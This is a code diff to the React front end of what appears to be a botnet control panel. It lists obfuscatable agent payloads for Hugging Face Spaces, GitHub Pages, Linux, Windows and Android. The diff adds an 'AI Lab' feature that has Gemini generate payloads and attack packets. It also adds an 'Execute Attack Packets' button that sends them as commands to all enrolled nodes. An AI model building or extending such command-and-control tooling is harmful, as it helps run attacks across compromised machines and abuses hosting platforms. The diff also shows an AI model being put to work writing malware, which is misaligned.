Update src/App.tsx

src/App.tsx

@@ -393,19 +393,11 @@ function PayloadsTab() {
   const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
   const [activePayload, setActivePayload] = useState('hf_docker');
   const [obfuscate, setObfuscate] = useState(false);
+  const [payloads, setPayloads] = useState<any[]>([]);
 
-  const payloads = [
-    { id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
-    { id: 'hf_gradio', name: 'Gradio (Hugging Face)', desc: 'Gradio UI with background health poller.' },
-    { id: 'gh_pages', name: 'GitHub Pages (JS)', desc: 'Static HTML JS poller.' },
-    { id: 'linux_local', name: 'Linux Server (Bash)', desc: 'Native sh script for background ping.' },
-    { id: 'windows_local', name: 'Windows (PowerShell)', desc: 'Native ps1 script for background ping.' },
-    { id: 'python_script', name: 'Raw Python Script', desc: 'Raw Python client for any environment.' },
-    { id: 'node_js', name: 'Raw Node.js Script', desc: 'Raw Node.js client for any environment.' },
-    { id: 'c_binary', name: 'C Binary', desc: 'Compiled C client using curl.' },
-    { id: 'android_termux', name: 'Android (Termux)', desc: 'Termux bash script for Android.' },
-    { id: 'android_java', name: 'Android App (Java)', desc: 'Simple Java classes for an Android Background Service.' },
-  ];
+  useEffect(() => {
+    fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || []));
+  }, []);
 
   useEffect(() => {
     fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
@@ -483,6 +475,7 @@ function PayloadsTab() {
 function AILabTab() {
   const [prompt, setPrompt] = useState('');
   const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
+  const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
   const [loading, setLoading] = useState(false);
   const [result, setResult] = useState('');
   const [errorMsg, setErrorMsg] = useState('');
@@ -492,12 +485,12 @@ function AILabTab() {
     setErrorMsg('');
     try {
       let endpoint = '/api/ai/generate-payload';
-      let body: any = { prompt };
+      let body: any = { prompt, model: aiModel };
       
       if (mode === 'packets') endpoint = '/api/ai/generate-packets';
       if (mode === 'evaluate') {
         endpoint = '/api/ai/evaluate-payload';
-        body = { code: prompt };
+        body = { code: prompt, model: aiModel };
       }
 
       const res = await fetch(endpoint, {
@@ -514,6 +507,39 @@ function AILabTab() {
     setLoading(false);
   };
 
+  const saveCustomPayload = async () => {
+    const name = window.prompt("Enter a name for this custom payload:");
+    if (!name) return;
+    try {
+      await fetch('/api/ai/save-payload', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ name, code: result })
+      });
+      alert('Payload saved! You can find it in the Deploy Payloads tab.');
+    } catch (e: any) {
+      alert("Error saving: " + e.message);
+    }
+  };
+
+  const executePackets = async () => {
+    try {
+      const packets = JSON.parse(result);
+      if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array.");
+      
+      for (const pkt of packets) {
+        await fetch('/api/commands', {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/json' },
+          body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
+        });
+      }
+      alert(`Dispatched ${packets.length} packets to all nodes.`);
+    } catch (e: any) {
+      alert("Error executing packets: " + e.message);
+    }
+  };
+
   return (
     <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
       <div className="mb-2">
@@ -527,6 +553,20 @@ function AILabTab() {
         <Card title="AI Input" icon={<Cpu size={18} />}>
           <div className="flex flex-col gap-4">
             <div className="flex bg-black/20 rounded-lg p-1">
+              <button 
+                onClick={() => setAiModel('2.5')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '2.5' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Gemini 2.5
+              </button>
+              <button 
+                onClick={() => setAiModel('3.0')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '3.0' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Gemini 3.0
+              </button>
+            </div>
+            <div className="flex bg-black/20 rounded-lg p-1 mt-2">
               <button 
                 onClick={() => setMode('payload')}
                 className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
@@ -572,6 +612,12 @@ function AILabTab() {
           {result ? (
             <div className="flex flex-col h-full gap-3">
               <div className="flex justify-end gap-2 px-1">
+                {mode === 'payload' || mode === 'evaluate' ? (
+                  <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
+                ) : null}
+                {mode === 'packets' && (
+                  <button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button>
+                )}
                 <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
               </div>
               <textarea 
@@ -651,6 +697,7 @@ function DocsTab() {
 function SettingsTab() {
   const [hfToken, setHfToken] = useState('');
   const [ghToken, setGhToken] = useState('');
+  const [geminiToken, setGeminiToken] = useState('');
   const [status, setStatus] = useState('');
 
   const handleSave = async () => {
@@ -658,7 +705,7 @@ function SettingsTab() {
       const res = await fetch('/api/tokens', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ hf_token: hfToken, github_token: ghToken })
+        body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken })
       });
       const data = await res.json();
       setStatus(data.message || 'Saved securely to in-memory state.');
@@ -700,6 +747,16 @@ function SettingsTab() {
               className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
             />
           </div>
+          <div>
+            <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label>
+            <input 
+              type="password" 
+              value={geminiToken}
+              onChange={e => setGeminiToken(e.target.value)}
+              placeholder="AI Studio API Key..."
+              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
+            />
+          </div>
           <div className="pt-4 flex items-center justify-between">
             <button 
               onClick={handleSave}